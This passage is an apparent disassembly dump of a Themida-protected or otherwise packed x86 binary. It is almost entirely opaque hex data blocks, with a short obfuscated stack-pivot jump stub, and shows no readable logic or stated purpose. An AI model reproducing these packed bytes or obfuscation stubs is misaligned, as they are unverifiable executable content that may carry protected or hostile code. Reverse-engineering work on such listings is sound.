		dd 0DE1B4667h, 0B984B512h, 3A5DFC18h, 4C197F06h, 5996C3EAh
		dd 0D80043C2h, 8B4CF3D4h, 0E85EFE0Dh, 838951Ch,	27973A05h
		dd 0AB000002h, 0ACB1AD0Fh, 0EA2089B8h, 2D01FAC3h, 9B351256h
		dd 1FEA526Bh, 8E2B5E72h, 0F8837C3Ch, 348D1857h,	0A3043B2Fh
		dd 0FEA5FA6Fh, 0F7B6A986h, 9647BA00h, 6F78FD08h, 0EE786120h
		dd 0D40483A5h, 1F38BDC8h, 0B3A431DBh, 0DD51C4BAh, 6975A27Bh
		dd 5CD9DF18h, 5033920h,	8AD7BECBh, 2E00000Ah, 83E6ECA8h
		dd 0F64B5753h, 5110BE02h, 87FAE0A6h, 35424856h,	68C714Eh
		dd 6C32A998h, 0D5D90366h, 397F78C9h, 0F750D19Dh, 0F9F08246h
		dd 6E54969Fh, 0BC3F2266h, 0A8B0D32Bh, 3314EE37h, 0FC184C02h
		dd 384364D3h, 0FB6E42CFh, 62AF156Eh, 14B5EB06h,	0D51B4CEDh
		dd 7DCA0200h, 0BCF55DCAh, 0DE7F3DB8h, 4BECA15Dh, 0F9F02B0Ah
		dd 96376CDBh, 0E3B1286Bh, 1B5CFD7Ch, 0CAF9F02Bh, 0BBE6C7Dh
		dd 7108E69Eh, 0D4F5F166h, 0C5206E6Dh, 0DC4367ECh, 12A6737Bh
		dd 0A2A59204h, 2B796023h, 1F429BD0h, 9C18DCDCh,	78612027h
		dd 80FDC338h, 0DB1E6327h, 0CA0FB6D5h, 426FA7CCh, 5530FE7Ah
		dd 9CC0Ah, 22669000h, 9511C5A4h, 0FCC03809h, 266493D6h
		dd 8E14C9B8h, 0B30CEB00h, 0EB5E444Ah, 4524A2F0h, 0BA8F0B97h
		dd 93537F3Dh, 8284B512h, 0D05DF9F0h, 82C544EAh,	2A735458h
		dd 0FC18B921h, 1422125Ch, 0B9033495h, 65D2FC18h, 0F6B9F844h
		dd 4922BB01h, 0FE61E0C4h, 18B91859h, 6972C9FCh,	0E6598126h
		dd 0B38801FAh, 810DCD8Ch, 9738399Eh, 92E9F9FAh,	5387C649h
		dd 8B88434Fh, 7407A0A7h, 0A9041F48h, 0EBECAFD2h, 974021ADh
		dd 4FDEDC1Bh, 5C54D10Eh, 0DFFE7DD5h, 933EB4Ah, 0FFF90000h
		dd 0AA2A1FBBh, 5981E0EEh, 0FDF84955h, 0AD2E13BFh, 0A54CFBE7h
		dd 31DDE318h, 9F3B8970h, 666C30AAh, 0CAD0D603h,	1D5EFB0Ah
		dd 34F9F085h, 2FAE8D49h, 18B9C98Ah, 40E918FCh, 0FC18B90Fh
		dd 0AB3C69C6h, 18B92D42h, 0DCDA1FFCh, 0ADEBEAADh, 0CD6A1D5Eh
		dd 0FC18B98Ch, 0C9DDEE45h, 3A2D010Eh, 0FB05229Dh, 4DFC4B01h
		dd 0C6CCD00Ah, 0D6357963h, 8C08Fh, 7B18B700h, 0AB77D057h
		dd 0F901FAD2h, 0E152F776h, 30F9FAA0h, 0A071E27Bh, 0CBA0F9FAh
		dd 0A8DF94F2h, 59ACF2E9h, 0C7A0CB1Ch, 0F9FAA0AAh, 0C0473FB9h
		dd 3FE62C0Dh, 1C6A2h, 0EAA3F00h, 3E7C71B2h, 6E8C7A43h
		dd 3FB12A6Ch, 1CF65BA9h, 2F7EAB33h, 0AB2A71AEh,	181B6230h
		dd 0CB1CA259h, 36555384h, 0DE414D8Fh, 35505E9Fh, 1B33445Ch
		dd 9CC9744Eh, 0F0EA5F4Bh, 57D659ACh, 181641F2h,	0A4DB90FCh
		dd 18165203h, 13B483FCh, 6F12325Ah, 0DCEDAB2Ch,	0AD45D255h
		dd 0AFE286D9h, 96EF4891h, 0FFFC183Ah, 0D39D6580h, 596597E3h
		dd 894D0CBDh, 47B5BC0Dh, 2247207Bh, 67FC1839h, 3FBD09FDh
		dd 0F8645773h, 0F5B95608h, 9AD74100h, 0B1942E7h, 73C8FC18h
		dd 6632A928h, 4BFE2B71h, 0BEE6FC8h, 4827FC18h, 8116AB7Fh
		dd 0D26793D4h, 312287B3h, 0E0FC1887h, 0EBEB5E8Bh, 0CE1F5CAFh
		dd 334A5883h, 3A4147B0h, 0C455DCh, 0F7A3B769h, 0B657C5E0h
		dd 0C6332CA4h, 3D897DE5h, 0BFFDFABEh, 8FB2EF6Ch, 5E13091Ah
		dd 5A27063Ch, 0DF7609DDh, 1B0FD815h, 9EEDB326h,	19083C21h
		dd 0FAB656B0h, 5FC2B901h, 0D81Ch, 2DC4BF31h, 82CB528Fh
		dd 0DD1C6D39h, 0D17BB4D7h, 6EBD01F9h, 0EB1B0EDh, 0FA0AA8A9h
		dd 91AE74F9h, 0C9615AE5h, 0AAD5F64Dh, 4E0FA82Bh, 5CF9FA7Bh
		dd 47F4179Dh, 0F25B6CDBh, 0F9FA7B45h, 0B2A30487h, 63F9FA7Bh
		dd 9BD0DC1Eh, 1C6FC442h, 9B27D5h, 759016C1h, 555981C0h
		dd 464C8F36h, 2A14B627h, 9AC4E65Ah, 0DD9D5CAAh,	0FA7BFB7Ch
		dd 2A5D2AF9h, 0FA7BCC8Dh, 0F12E05F9h, 5F6594D5h, 7A6EF3CCh
		dd 0D80544C7h, 0E6A8F1CAh, 39041803h, 0F6E54442h, 78960F74h
		dd 0FDFF0D7Ah, 64C544B1h, 0F7DC5FF3h, 0F2185522h, 9A98DA4Fh
		dd 0F03D61CBh, 0DC4FE657h, 0B403FF7h, 414D8FB2h, 505E9FDEh
		dd 0AED59377h, 2BABEDEFh, 62EB326Fh, 0A624E5E9h, 35965B1Dh
		dd 4CF3D77Ch, 21EB6CCDh, 4D3AFC18h, 7A94357Ch, 9501FA4Fh
		dd 53C44FDEh, 1E00324Bh, 569EC1B0h, 3982CB52h, 0DCFABE36h
		dd 6C2FAE16h, 97C4276Dh, 18B985B6h, 0FE2851FCh,	0F781542Bh
		dd 8B7B1C6Bh, 837390C6h, 48D6AF38h, 9F1E0164h, 1827393Ah
		dd 4A93E8FCh, 18274CE1h, 2D195FFCh, 4B127FAh, 13C7863Ah
		dd 0EEFF7C8Fh, 27A1h, 0EFAE8500h, 5619A2E8h, 0A6831A9Eh
		dd 0FC18B9B5h, 0E6EE51D0h, 655119A2h, 3DD9DD19h, 18DA55AAh
		dd 96DA6DFCh, 0E0FFFFFFh, 3C23696Eh, 0B95B1CBDh, 0B78AFC18h
		dd 0A9227945h, 4A9F6B7Ch, 9C7A1870h, 18B93A3Bh,	279CEBFCh
		dd 550F359Bh, 3D040788h, 55C7h,	7A18FB00h, 9AE6856h, 0FC18B948h
		dd 98A07E99h, 0D194AFBh, 892E51D0h, 0FC18A1C8h,	738A16C2h
		dd 0C6E75CFAh, 2639AEE0h, 672BAFF4h, 0DC9E03F6h, 0FC4B0CADh
		dd 0AD9AFC18h, 0AEA9951Ch, 0B9C98A2Fh, 17C3FC18h, 5FFB708Bh
		dd 5C98C7E0h, 4A709258h, 378Eh,	7A18B400h, 0B93A3B9Ch
		dd 9CEBFC18h, 18A12027h, 0FC18B957h, 5228B18Eh,	0B94809AEh
		dd 0F764FC18h, 6E94AECBh, 70842266h, 68E94EF1h,	0B9FC18B9h
		dd 53579FC2h, 4C3A83C8h, 0C7266A6Eh, 18B9F97Ah,	0DAAA94FCh
		dd 0BA206C6Ch, 18C76221h, 7AFF42FCh, 7FFFFF3h, 0A422666Eh
		dd 87BAAEB3h, 0FABA4422h, 0A5C0BF01h, 0FAB8A7DCh, 4232B4F9h
		dd 0B8DEA334h, 0F7169443h, 8522D546h, 7F52E8F1h, 2C3FE6ADh
		dd 10h,	0FC39AE16h, 0FD7EAFC5h,	1399821h, 4D000000h, 0A1EDEFAEh
		dd 0E222F18h, 0BA14BE1Bh, 80FF01FAh, 0BEFAFA65h, 0BB73B710h
		dd 8B71F9FAh, 27669B07h, 91D0E9B5h, 6120276Bh, 64D1347Ah
		dd 69D83843h, 1C6A5AE4h, 7534D2DEh, 342F0684h, 0A9AA0FC3h
		dd 78F9FABAh, 0C47FD603h, 0CF769513h, 0F764870Bh, 26454BB0h
		dd 0E1649E69h, 0E0164029h, 160A6E46h, 0E1166450h, 1A6125D1h
		dd 252464D1h, 0D4377562h, 55604667h, 3A840778h,	0CED7h
		dd 7C18EB00h, 9AE6A50h,	0FC18B975h, 3275F461h, 35A6C5C3h
		dd 618408F2h, 0AE17D3F4h, 56A16994h, 0A0EEEFAEh, 88B71045h
		dd 41D6494Fh, 8D162925h, 0A2EEEC6Bh, 4A5125Bh, 18704A26h
		dd 13995C7Ah, 0A8164388h, 0EFAE0F35h, 115AA1EDh, 76FB2C8h
		dd 47DC3D04h, 0E6000000h, 0C98A2FAEh, 18FC18B9h, 0BDA19A23h
		dd 1E4B5785h, 0EFAD286Bh, 0B88E5F9Ch, 0B94809AEh, 382FC18h
		dd 18B9B5A6h, 0DC1D6CFCh, 0C25861DEh, 2FAE4975h, 0B94A0BACh
		dd 0AC9BFC18h, 666E2F1Bh, 4A708422h, 2C8Eh, 0EFAEB400h
		dd 211AA3E7h, 0AEA30F3Dh, 18B94809h, 0CBF764FCh, 666E94AEh
		dd 797C3F22h, 296C1A33h, 3FB0B4FFh, 0F170D8AEh,	7841478Eh
		dd 0FF298E82h, 6EB4FFFFh, 0CF44FF69h, 272254D3h, 0A75093EAh
		dd 2DA9EFEBh, 6CD91269h, 88713037h, 0B9BA1F02h,	68FC18A8h
		dd 1BDCCA13h, 8A2F5276h, 1FAC9ACh, 0D69988E7h, 44F55224h
		dd 9DF9FA89h, 355069A6h, 0FA89D76Ch, 0B282C4F9h, 0B3A40584h
		dd 62F9FA89h, 5BB6B415h, 0F03FE63Fh, 30h
		dd 9D7B18CAh, 18B93B3Ch, 0E768F1FCh, 3EFC18B9h,	316EC541h
		dd 0D1A9A90Eh, 37801FAh, 0A1E29FF8h, 77F1F9FAh,	2BD5087Fh
		dd 0EC7A3FE6h, 4C000000h, 0D823696Eh, 0CF5E6499h, 0D2555384h
		dd 0B945F653h, 0A79CFC18h, 3F47F06h, 0A9E81985h, 5102A731h
		dd 80FC18B9h, 46D7EABh,	0FC18BD9Bh, 24A2E811h, 13169445h
		dd 8D2AA450h, 0FC18BDCCh, 8EF12E05h, 0B3384349h, 0A9B6032Ah
		dd 1AC38285h, 4EBD8394h, 0AE3E1DF2h, 5535921Dh,	8C01FA72h
		dd 3B703EBDh, 99B7DC9Fh, 52E8062h, 0F5040E0Dh, 85226DB8h
		dd 0F9FAA6D4h, 8CF9360Dh, 73E63C9Dh, 3809041Fh,	2FACFFBDh
		dd 0CF0C4FF2h, 0E5A4C5C1h, 95C663F5h, 4CF7DE6Bh, 3E21BAF7h
		dd 688AF7BDh, 0F3FE7DDEh, 28FCF96h, 0A3550000h,	4E86FBE7h
		dd 0FDFD4C4Ah, 0A15415B1h, 518AFF1Bh, 49284743h, 9D398774h
		dd 7B672DACh, 0C2C8D406h, 963C7A7Fh, 41F257AEh,	90F9F0FAh
		dd 6D6E29EDh, 11C6BB27h, 29461A57h, 67DC2AFFh, 763CA1E0h
		dd 188BB155h, 77D0577Bh, 1FAD1C7h, 9974205h, 2516B3F2h
		dd 0FCF9FAA1h, 15714A87h, 0CD62CF5Eh, 0DEF9FAA1h, 0A865AC98h
		dd 73FE62Bh, 0F5h, 961CC180h, 696E7135h, 93EAB029h, 579EED5Ah
		dd 828D18A6h, 708B17C3h, 49860CF1h, 0BDEE1770h,	0FBFCFC18h
		dd 880B8ABDh, 18BD2E2Fh, 0BF88E7FCh, 0FC18BDBEh, 0A4E81257h
		dd 0F9485E6Fh, 7B49B000h, 6D8E1B0Eh, 836CCA7Bh,	2693BA03h
		dd 0D1DD1F39h, 4244E564h, 0FD01FA49h, 56AEB4Ch,	37B6F9FAh
		dd 8C93D425h, 508DFA60h, 8474374Ah, 5F68ED38h, 52D5F966h
		dd 1FCE7AF5h, 11C98804h, 5CFD7E8Dh, 4413A84Ch, 90F6D760h
		dd 0A225A4DBh, 91AAF8E3h, 0F7DF28A0h, 0BEA13A71h, 337F7D3Dh
		dd 0DA0043C6h, 5011F5D6h, 0B498E5ABh, 0F7FE7D1Fh, 16BB392h
		dd 0C7310000h, 7262C7C3h, 21D9A836h, 0C530719Dh, 7566DBC7h
		dd 6D14A32Fh, 0F9E5AB50h, 47435188h, 2EB4F8E2h,	0F2189E5Bh
		dd 2516B3F2h, 0FCF9F0FDh, 6D6E75B1h, 8706BB27h,	18B93122h
		dd 328BE0FCh, 0C6CCCA0Fh, 23696E18h, 3D86AB3Ch,	9D1582FDh
		dd 5EFF5338h, 0EBFC8633h, 18D80140h, 4E1FA359h,	0FC18D40Dh
		dd 94326FC4h, 0E740BEA3h, 0FC18D476h, 0E03B8174h, 5B90EF6Bh
		dd 8B5B8324h, 0BD8A01FAh, 880ECB8Ah, 0FCBA3F02h, 1F3350A9h
		dd 7986CF68h, 0F04F07E2h, 79EC9B8Bh, 0E649DCFEh, 0CDh
		dd 0A5216593h, 0E9410C4h, 0D7F3BF3Bh, 0B9256392h, 18D13C8h
		dd 49B20BEAh, 0EFEA5F7Bh, 964425A1h, 3CBD8C0Ah,	156C507Eh
		dd 0F0FD83B4h, 0EBD352F9h, 0A58B7B18h, 0E4839AB2h, 0D958CF04h
		dd 0EB6F4C40h, 38814126h, 113EDFh, 0D98D702h, 10964302h
		dd 0F86740F5h, 2C1DB9FFh, 0FB7AEDABh, 0ED7E42B8h, 0F9F1A46Ch
		dd 56FDCEA5h, 0C1638909h, 0D0D60318h, 0CDCB0AB5h, 0D2A204BEh
		dd 0C6BEF86Eh, 9D397F78h, 1E6D2BACh, 0F75020D7h, 0DAE05B46h
		dd 0F46BA09Fh, 5B63D475h, 0FB2DAE0h, 0E05BA9AAh, 0D60378DAh
		dd 0C6806EF5h, 515780EEh, 0B408B92Eh, 768EB51Bh, 7F0B155h
		dd 121B7A81h, 23000000h, 766726A7h, 0B91445E2h,	76CDFC18h
		dd 5069E239h, 2C686E6Ah, 5B6196D9h, 575B81C0h, 404E8D34h
		dd 7341BA25h, 6E34A928h, 9B21D41Fh, 9519C100h, 8307CF76h
		dd 8956F278h, 4C681E6h,	83000000h, 343304EEh, 24343124h
		dd 5C243433h, 4C4168h, 242C8900h, 81E18951h, 4C1h, 4E98300h
		dd 5C240C87h, 50241489h, 1423BAB8h, 8913543h, 0C58946FCh
		dd 8124048Bh, 4C4h, 4EC8300h, 81242489h, 42404h, 505A0000h
		dd 9D15F9B8h, 6FC62D65h, 5E050CD4h, 3534835Bh, 0D7705C4h
		dd 3B045D35h, 89D00180h, 148B5828h, 0E7895724h,	4C781h
		dd 0C7810000h, 4, 5C243C87h
		db 8Bh,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_4F5CCB
; ---------------------------------------------------------------------------
		db 0E1h
		dd 0D8DCF92Ah, 0EFB89133h, 305E845h, 85C650C5h,	5E20A49h
		dd 17256847h, 0B5FFCF38h, 5E2262Dh, 39ED858Dh, 0D0FF05E2h
		dd 858DD88Bh, 5E22D8Dh,	1046850h, 0D3FF0000h, 0A4985C6h
		dd 685305E2h, 8307F8BFh, 262DB5FFh, 858D05E2h, 5E239EDh
		dd 8589D0FFh, 5E8290Ch,	1CA1BD83h, 0F0005E2h, 0B84h, 19D8B00h
		dd 0E905E20Bh, 5, 0BBh,	1006800h, 0B58D0000h, 5E82910h
		dd 95FF5356h, 5E20F85h,	2910B58Dh, 0F00305E8h, 1E9h, 3E804E00h
		dd 9840F5Ch, 80000000h,	850F2F3Eh, 0FFFFFFEDh, 8D0006C6h
		dd 0E8291085h, 95FF5005h, 5E8290Ch, 72E0FF58h, 1F6B4968h
		dd 0A8156250h, 8A10689Eh, 0E816BCBBh, 6, 7BDBBB07h, 0FE8FD26h
		dd 7000000h, 0AA0AF49Ah, 0CFFAD7A3h, 56BFCE4Ch,	5A5BE83Eh
		dd 47CF46BEh, 6AC28174h, 0F000074h, 8Ch, 66C03300h, 34FFFA8Bh
		dd 66BF6610h, 8C0F5978h, 12h, 0DE9h, 0D749EB00h, 0C443050h
		dd 6C68720Ah, 0C181F985h, 51B3597Ah, 0B46ABB66h, 0F691F181h
		dd 8E96BFAh, 0BC000000h, 0EBCA7127h, 81C772C3h,	53B8F4E9h
		dd 0F810F3Eh, 0E9000000h, 0Ah, 1D9C0588h, 654AA9B1h, 0C89E1BBh
		dd 0E8F28B02h, 0Dh, 0CA1F0462h,	0F6546C29h, 3325B537h
		dd 0DF8157ECh, 333F4DA5h, 0E8835B5Eh, 0FE901h, 0C85F0000h
		dd 0FC4103F6h, 0D916F994h, 4BEECFACh, 48484805h, 815BF551h
		dd 0FF8C70F8h, 5F850FFFh, 0FFFFFFFh, 585h, 0CB43BB00h
		dd 0AE85B60h, 0CB000000h, 45A1B72Bh, 404A42B3h,	0BF6660D4h
		dd 8D0F1078h, 2, 5A61FB8Bh, 0DE9h, 3D33A400h, 170BD73Ah
		dd 9493237Ch, 0C2810026h, 5CCCh, 0FE8h,	0BC74A500h, 0CCC7AFF6h
		dd 36F97410h, 0C996BB94h, 17FBDFBFh, 0C4B85957h, 81676F35h
		dd 6F1EBEE8h, 32FFFC67h, 1C9815Bh, 8139ADB8h, 0ABCBA2EBh
		dd 0CFF6814Fh, 817D1C72h, 0C74B94F3h, 0FE948h, 0DD950000h
		dd 7DCE7Ah, 0F55A66D9h,	0A6451232h, 0F7C38145h,	0B5669182h
		dd 28F530Ah, 54EA81FCh,	81592BA3h, 2BA350C2h, 0F8BF0F59h
		dd 0F01E883h, 0FFFFAD85h, 88D0FFFh, 0F000000h, 28Eh, 8DFE8B00h
		dd 0E849AD8Dh, 0F88B6605h, 0BE98D89h, 31BE05E2h, 0C74EBD72h
		dd 0E2076185h, 736405h,	0D3B70F00h, 1B5585C7h, 5E2h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0E9B87EC3h, 0B5FF0074h, 5E21CD1h, 13E8h, 83FF7900h
		dd 2D04A8C9h, 1417730Fh, 600D7BD8h, 4424ACh, 1A798589h
		dd 0FF5A05E2h, 0E20B1595h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 29ACD3C3h
		dd 2A32FDEEh, 68C0FACh,	8B000000h, 0E224E985h, 0FF006A05h
		dd 0E20AB995h, 0EBC08B05h, 5FBF0D4Ch, 90E8BD77h, 0FF20C723h
		dd 0D17FAE60h, 3076C568h, 0CC0BBE0Ah, 0E20E3F14h, 9D1F4D19h
		dd 56116E93h, 0D1F01068h, 2004BDBBh, 85835B12h,	7FFDDD16h
		dd 4016FE56h, 36EA7E20h, 604EB487h, 612EEBE7h, 5281C675h
		dd 0B173519Ah, 0A304EB27h, 0E94CB5B2h, 57Dh, 0A9357167h
		dd 72981CD8h, 0DBC7CB0Fh, 0AD296F66h, 75911FDCh, 558617FEh
		dd 0FBFE434Fh, 0A25829B5h, 48B1F01Eh, 69984442h, 0F0F38FC0h
		dd 1FDF46F9h, 0B029696Eh, 0ED5A93EAh, 25D4979Eh, 0DA034E9Fh
		dd 7E7BCED4h, 7562ED38h, 86F3BF3Dh, 0BCF8FC67h,	93632569h
		dd 75F4B227h, 0A3FAC632h, 0B4F5912Ah, 0ED5C7A46h, 0D958A3EFh
		dd 0B940F156h, 0DA91FC18h, 0C99B5E01h, 0B6711FCEh, 3D4885FEh
		dd 0EFEDACD5h, 306D31A9h, 1F4760D5h, 9D21DB27h,	0C1C73071h
		dd 40B8FBBAh, 1BAC297Ch, 189DBCB2h, 474D8CFCh, 703EBD24h
		dd 7A61A015h, 0A150E2E8h, 44B19D0Ah, 0AA9ADC21h, 0B88C3A56h
		dd 4999C71h, 72333Ah, 6E370000h, 7FD82369h, 0FC18B9C0h
		dd 129561E7h, 3A0413BFh, 66Ch, 2AAAED00h, 6E695D6Eh, 98DB2266h
		dd 0E6A2525Ch, 0E41352A9h, 0DC1C47A6h, 0D00AB5D0h, 0CD3CB9CCh
		dd 35798C0Ah, 93D8373h,	88CB774Fh, 0B83D484Ch, 0B10A9049h
		dd 0DF42468Eh, 0B97AFB5Ch, 0DCABFC18h, 7DEA1F0Bh, 0BFEAACB1h
		dd 0D6504492h, 0A752ECE7h, 0FEC4376Ah, 0D29D2EAFh, 7D7B6725h
		dd 0C4276D6Eh, 0CE5D599Dh, 344232B4h, 0A49532B5h, 7DFC18B9h
		dd 0B9342506h, 96EDFC18h, 0C3D10A35h, 3D7562C7h, 24AFFEBCh
		dd 5B90EBB1h, 2B6AB1EEh, 5CF1BFBEh, 3089D10Eh, 0A6C5C931h
		dd 5EECD81Eh, 0F6D7DB1Fh, 463AD70h, 7B61203Ah, 696DD437h
		dd 46B1F02Dh, 743A6740h, 0B7000000h, 22BB01F4h,	0E7EFAE44h
		dd 0A6571AA3h, 96428D18h, 0B4D7D500h, 30B3CA07h, 21A0FBC9h
		dd 0EC96F5B9h, 0E066DAAAh, 7B60CEA6h, 23D8A935h, 10C70E9Dh
		dd 97D1738Ah, 11C5689Fh, 700A3A04h, 3C000000h, 0C4276D6Eh
		dd 0A1595F9Dh, 6CD9E517h, 85713037h, 1EBBFA01h,	0FC18B95Dh
		dd 7942BFF4h, 1E8BFAD2h, 9A54E607h, 2B6F67FAh, 9D2E9BD0h
		dd 6895E1D5h, 0AEB6BC5Ah, 44A7EBEFh, 4B8BB617h,	0F2753C4Fh
		dd 0E64743B3h, 0FC18B975h, 0ADF6D7ACh, 0FC18B991h, 21685C8Ah
		dd 3A0413ECh, 2549DE41h, 3F4E268Dh, 0BF364C5h, 5522FC18h
		dd 10F74h, 6E330000h, 0E7AD2C6Ah, 0D40F8B84h, 0BC292734h
		dd 0B0F30A47h, 0B3A7A831h, 17EFC18h, 7A40B9B8h,	0A99DC723h
		dd 0F5119D5Dh, 0F8C63574h, 250916EFh, 6120A322h, 66D7367Ch
		dd 18B394C5h, 0D5F64DFCh, 0FAC7FA8Ch, 2B5E1501h, 0B6247268h
		dd 0ED5A93EAh, 0C90EB1DCh, 7562C7C3h, 0F48BD437h, 0ABF9FAA7h
		dd 1D5EFB7Ah, 34F9FAA7h, 10E46E7Fh, 6B7735A2h, 40DBE116h
		dd 78F95EC1h, 0A9F9FAA7h, 914609D2h, 8871F00Bh,	1FB8FB02h
		dd 0F9FAA75Eh, 8E49B8F7h, 0E741FD08h, 2445A90Fh, 0A75304A5h
		dd 0B582F9FAh, 0EC5A2A14h, 7B21ADEBh, 3FE631A6h, 14D05h
		dd 7B183900h, 0B93B3C9Dh, 9DEAFC18h, 2A982120h,	4D01FADFh
		dd 9FDA9B3Ch, 3C0BF9FAh, 0C695211Bh, 0FC2928BAh, 0EBB126A9h
		dd 5F5D9AEFh, 565485CCh, 493DBF37h, 8BBEFCFDh, 72890FC8h
		dd 70E146F9h, 0A1F9FAB2h, 6F15F1CAh, 3FE61EB2h,	5219h
		dd 79182D00h, 6993D255h, 0BE49C625h, 0C6768103h, 55AFA8E5h
		dd 0D67F22AFh, 91109F28h, 12BD27AEh, 0CF3F0D7Fh, 0DF1C6FA4h
		dd 9F286C68h, 18DBD536h, 0D4370CFCh, 18DBCA8Bh,	0CCB8A2FCh
		dd 0AD2F0908h, 0E4519AE1h, 0DB43C465h, 85F2FC18h, 0ACC819h
		dd 0AEF20000h, 5BA2E8EFh, 53F0C912h, 0CF6FC87Fh, 0DD01FAD2h
		dd 0A07CFD5Ah, 0D495F9FAh, 9B2C9927h, 6AD5300Fh, 0DEA32F6Dh
		dd 5A609919h, 52ED7AEDh, 0C05F2DD6h, 0FF58E3C4h, 0F9FA9B45h
		dd 0EA582C1Ah, 2823AFEDh, 0A700072Bh, 7E3218Ah,	4EF11463h
		dd 5D1C0389h, 428B12A0h, 1C932BC9h, 8324EF5Fh, 387E79F8h
		dd 377562EDh, 281C5ED4h, 88BF6D0h, 0D28BAEAFh, 0D60267F7h
		dd 0CD3AB3CAh, 90C5A74Ch, 9C2D6462h, 7DE2E2D2h,	0D457D649h
		dd 0D234C273h, 0AD2E13F7h, 1A5784E7h, 8ECB78C1h, 552209CBh
		dd 0FB6393D2h, 353B5C64h, 6079B65Fh, 7B18BCBAh,	0DB1B9D5Dh
		dd 0D21B62DFh, 34A3E265h, 2B7A1776h, 9486707Ah,	44CB1C49h
		dd 14C4EE3h, 0BDC8A702h, 7B47B3F2h, 2F12AB20h, 83E6ECAAh
		dd 6C355056h, 409E0583h, 0EA82179Ah, 2A064D02h,	22125C6Dh
		dd 6C6F23D4h, 5996C726h, 0A8D0CBDh, 5EB3ACADh
		dd 3D0E65B3h, 0B35EB33Ch, 0B3E869CEh, 4239B35Eh, 135E6FC4h
		dd 1A45A0E6h, 6E7A01DBh, 73DBF43Dh, 511BE706h, 0DAE01965h
		dd 0DCA8D3Ch, 1E4B5785h, 0F27D4E8Fh, 1D648705h,	3, 6E9DA721h
		dd 96D92C68h, 81C05B61h, 8D34575Bh, 0BA25404Eh,	0A9287341h
		dd 0D41F6E34h, 0C1009B21h, 0CF769519h, 0F2788307h, 81E38953h
		dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 72682404h, 8900001Fh
		dd 8953241Ch, 4C381E3h,	83000000h, 1C8704EBh, 2C895C24h
		dd 0E5BD5524h, 816D871Bh, 9ED1DCEDh, 8BEB8967h,	0C483242Ch
		dd 4EC8104h, 89000000h,	4812424h, 424h,	0EC835D00h, 241C8904h
		dd 8B08458Fh, 8953242Ch, 4C381E3h, 83000000h, 1C8704C3h
		dd 34FF5C24h, 0C4835B24h, 309DE904h, 5804FFFAh,	334AA798h
		dd 6046A30Bh, 169F296Fh, 4EF9B877h, 0C50305E8h,	4FD7E0FFh
		dd 92CC12F3h, 1D004DB5h, 675E35BAh, 0CD5E69CFh,	3FAC6D67h
		dd 378A246Bh, 0B6212DE8h, 0AC500075h, 331A4989h, 0DF98789Eh
		dd 0F8F978DBh, 56D242B7h, 0BFD02497h, 0BD143B66h, 6693720Dh
		dd 0A5B71C64h, 7F93AC6h, 23A763DAh, 0DB156F55h,	4F1778F3h
		dd 0C8D65A4Ch, 0EF52E65h, 9E662012h, 852E2E08h,	0B5B6567Ch
		dd 0E972124Fh, 337C1EF4h, 0E1CC1803h, 0AAB710D4h, 0F6084EE7h
		dd 0C5941A24h, 8D8D3171h, 5E850B3h, 0AD958952h,	5805E232h
		dd 0BE98D89h, 85C705E2h, 5E20761h, 5A3Ch, 1CE18589h, 85C705E2h
		dd 5E21B55h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0A9C35242h
		dd 191B8763h, 800F83F4h, 4, 5BF28B51h, 325DB5FFh, 9D8905E2h
		dd 5E22D11h, 0B1595FFh,	6A05E2h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 33474AC3h, 0DE976h, 70100000h
		dd 0A8D791AFh, 0BCDC7DF2h, 6A3D8B1Eh, 0B995FF00h
		db 0Ah,	0E2h
word_552D6A	dw 8B05h		; DATA XREF: Themida_:004F09C8o
		dd 485FEBC0h, 0E22E1A16h, 0B38B64F9h, 93BABB48h, 0DE9B58DDh
		dd 5E847995h, 31F0B0FAh, 8866E7F5h, 6B50588Ch, 0E03C7FE3h
		dd 54653D94h, 2BFF1109h, 0FBEB02EBh, 6C18E944h,	5B180E15h
		dd 0A49B4E31h, 0F058ACF4h, 0C3CD0A29h, 4376166Ch, 0BF017F5Eh
		dd 3E7CA423h, 733DC2B6h, 73E778DDh, 3B27168Fh, 5E8668Ah
		dd 9F000000h, 0F947B0E7h, 5830Fh, 81660000h, 5839C6DFh
		dd 1931958Bh, 0C08105E2h, 590Ah, 0AC19D89h, 0F62B05E2h
		dd 8EE9BE60h, 9E95C52h,	8000000h, 171CB81Bh, 52E3D057h
		dd 301C8B61h, 81CFB70Fh, 2A26BDF3h, 29BA6625h, 91C38125h
		dd 662A48C1h, 8129BAB9h, 433975EBh, 10E80Ch, 0C6270000h
		dd 87C613A3h, 10CB5C84h, 45245BBDh, 0F510A98h, 89h, 895F5F00h
		dd 13E8301Ch, 7A000000h, 681188B1h, 1411BC05h, 3EB3E122h
		dd 36808BA3h, 0B966131Dh, 8B5AD564h, 0E21EB18Dh, 3EE8305h
		dd 21BD8Bh, 804E05E2h, 0FE815AE5h, 0FFFFA7B4h, 0FF83850Fh
		dd 8A0FFFFFh, 5, 4FE28166h, 9026EB86h, 0EC33B61Bh, 6E558EAFh
		dd 6C6C6474h, 6C6C642Eh, 46218800h, 0D25D3407h,	0D86A56A3h
		dd 4, 0
		dd 676E900h, 38680000h,	0E905E853h, 0FFFA2DFFh,	0E853C868h
		dd 2DF5E905h, 8768FFFAh, 0E905E854h, 0FFFA2DEBh, 0E8554868h
		dd 2DE1E905h, 768FFFAh,	0E905E856h, 0FFFA2DD7h,	0E8571068h
		dd 2DCDE905h, 0AF29FFFAh, 5A9AEFEBh, 9F1B05Eh, 0AD281985h
		dd 5D9EE3EFh, 553C4B57h, 810D9348h, 6F6B39A0h, 36DCE01Ah
		dd 9A008673h, 4D0EABDAh, 84F9F0EBh, 0C267E699h,	0F9F0EB91h
		dd 14D2EB40h, 686C2FAEh, 0B95A1B2Ch, 0BC8BFC18h, 30C42Bh
		dd 0AEFE0000h, 1AA3E7EFh, 81E4A257h, 4965099Eh,	56C7C530h
		dd 0C5E6538Dh, 0B35F5D9Ah, 18691B28h, 0E5B329FCh, 750A74F6h
		dd 0B175CA01h, 7FB42144h, 7B189553h, 4377D057h,	9A01FAB9h
